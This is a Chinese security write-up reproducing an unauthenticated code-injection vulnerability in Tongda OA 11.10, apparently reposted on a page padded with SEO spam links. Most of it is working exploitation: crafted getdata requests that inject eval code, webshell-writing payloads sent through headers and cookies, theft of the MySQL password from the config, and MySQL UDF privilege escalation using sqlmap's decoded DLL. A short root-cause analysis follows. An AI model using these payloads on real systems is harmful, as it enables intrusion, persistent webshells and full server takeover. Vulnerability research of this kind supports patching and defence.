当前位置: 首页 > news >正文

宝安新闻seo门户网站

宝安新闻,seo门户网站,四川省广安建设局网站,pconline太平洋电脑网漏洞简介 之前也对通达 oa 做过比较具体的分析和漏洞挖掘,前几天看到通达 oa 11.10 存在未授权任意文件上传漏洞,于是也打算对此进行复现和分析。 环境搭建 https://www.tongda2000.com/download/p2019.php 下载地址 :https://cdndown.tongda…

漏洞简介

之前也对通达 oa 做过比较具体的分析和漏洞挖掘,前几天看到通达 oa 11.10 存在未授权任意文件上传漏洞,于是也打算对此进行复现和分析。

环境搭建

https://www.tongda2000.com/download/p2019.php

下载地址 :https://cdndown.tongda2000.com/oa/2019/TDOA11.10.exe

995a70dbca3274e813fb25dfd40e5852.png

查看版本信息

4456f6e23ae634f3dda002018e7f755c.png

漏洞复现

利用方式一

http://192.168.222.128/general/appbuilder/web/portal/gateway/getdata?activeTab=%E5%27%19,1%3D%3Eeval($_POST[c]))%3B/*&id=19&module=Carouselimage
98f918a36fe1d9bf0273a25a0f9a2a87.png

利用方式二

无法直接写入带有变量的 php 文件

所以首先利用 无参 webshell

<?php @eval(next(getallheaders()));
a530dc1c7c2942c622a15ec3a2b4dc30.png
GET /general/appbuilder/web/portal/gateway/getdata?activeTab=%e5%27,1%3d%3Efwrite(fopen(%22C:/MYOA/webroot/general/1.php%22,%22w+%22),%22%3C?php%20eval(next(getallheaders()));%22))%3b/*&id=266&module=Carouselimage HTTP/1.1
Host: 192.168.222.128
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
9e03e56364be72fabcc59bd5f2de4648.png

上传成功后再利用第一次生成的恶意文件再生成文件

GET /general/test.php HTTP/1.1
Host: 192.168.121.147:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: file_put_contents('test1.php','<?php @eval($_REQUEST[1]);');
Content-Length: 28Upgrade-Insecure-Requests: 1
923cffd7cd73a345572ccc582d4290dd.png 8d939416a6823ec1e2cfb1be5ec6cb5c.png

但是无法直接直接命令,这是因为权限过低的原因 所以想要进一步的操作,就需要提权

8b1cce2ab7a45a97f4e74ae93ce2a4ba.png

通过查看配置文件看到 mysql 数据库的密码

71de485a2b4da153e230737bb9f7b348.png

利用蚁剑连接数据库

d4322f81a42a6b307327f57072a7c88d.png

查看 mysql 的版本

Mysql版本提权dll存放位置
>5.1mysql根路径(select @@basedir)下/lib/plugin/
<5.1系统目录c:\windows\system32下

SqlMap 中集成了对应的提权文件,不过需要先进行解密操作

udf.dll的是经过编码运算的,所以需要有一个解密脚本,在这个路径下

sqlmap-master\extra\cloak

对应的 dll 文件路径

sqlmap-master\data\udf\mysql\windows\64

执行解码操作

cloak.py -d -i sqlmap-master\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_

然后将解码好的文件上传到 mysql/lib/plugin/ 路径下

5863c3a2679d39e5c4c740e5bfe914c2.png
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
select sys_eval("whoami");
89f75529ed82f5a00c7c3345dc7a9027.png

漏洞分析

general\appbuilder\modules\portal\controllers\GatewayController.php#actionGetdata

c4c5c5cc484c1d4c2b76677ccb491b4e.png

首先判断是否存在参数 id 之后根据 module 的值依次执行 GetData与toUTF8方法

general\appbuilder\modules\portal\models\PortalComponent.php#GetData

4ac8d2393dda4b331dac850008051037.png

根据 id 查询,返回相对对应的数值 $activeTab 的值是从外部获取的

根据不同的 $module 调用不同的get_data 方法

general\appbuilder\modules\portal\components\AppDesignComponents.php#data_analysis

61f4faa7418ad52dab898c98a1a30555.png

general\appbuilder\modules\appdesign\models\AppUtils.php#toUTF8

354b5fe321f24100b441f1b73f45287a.png

这里有一点类似于宽字节注入,利用类型的转换,使得传入的单引号转移后又被编码转换成汉字,最终使得单引号逃逸出来。最后实现命令执行。

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:edu@antvsion.com

文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关

通过审核并发布能收获200-800元不等的稿酬。

更多详情,点我查看!

3d76afb3ddafda2c3772f20b47f2beef.gif

靶场实操,戳“阅读原文“

http://www.ahscrl.com/news/118.html

相关文章:

  • 做网站营销怎么去推广宁波seo公司推荐
  • wordpress 502 bad gateway企业网站优化的三层含义
  • 网站cms在线识别移动建站模板
  • 宇宙企画网站获客渠道有哪些
  • 建设公司怎么做网站运营网络营销常见术语
  • 网络营销方式对比分析论文网站seo思路
  • 珠海网站建设费用seo优化关键词是什么意思
  • 如何看网站是谁做的百度平台
  • 泛华建设集团有限公司网站手机百度网盘登录入口
  • 厦门市政府网站群建设怎么做优化
  • 优化网站推广教程整站游戏推广赚佣金的平台
  • 郑州做网站kuihuakeji网络广告策划案
  • 什么网站专门做外贸批发十大嵌入式培训机构
  • 福州做网站fjfzwl厦门人才网最新招聘信息网
  • 网站建设捌金手指花总十八关键词数据分析
  • 外贸网站建设网络公司百度站长工具数据提交
  • 怎么加速网页网站关键词排名优化客服
  • 四秒网站建设高级搜索指令
  • mysql网站数据库如何让百度收录
  • 阜新市住房和城乡建设委员会网站免费建站网站
  • 昆明房产网站建设关键词推广效果
  • 南宁企业网站制作太仓网站制作
  • 网站设计尺寸1920上海seo博客
  • 2013年以前pc网站建设整站seo排名
  • 射阳建设网站网站建设与管理是干什么的
  • 手机wap网页设计seo是哪个英文的简写
  • 互联网行业适合女生的职位福州seo优化
  • 图片站手机网站怎么做的免费发帖论坛大全
  • 做海外贸易网站免费找客源软件
  • php导航网站怎样做百度推广网页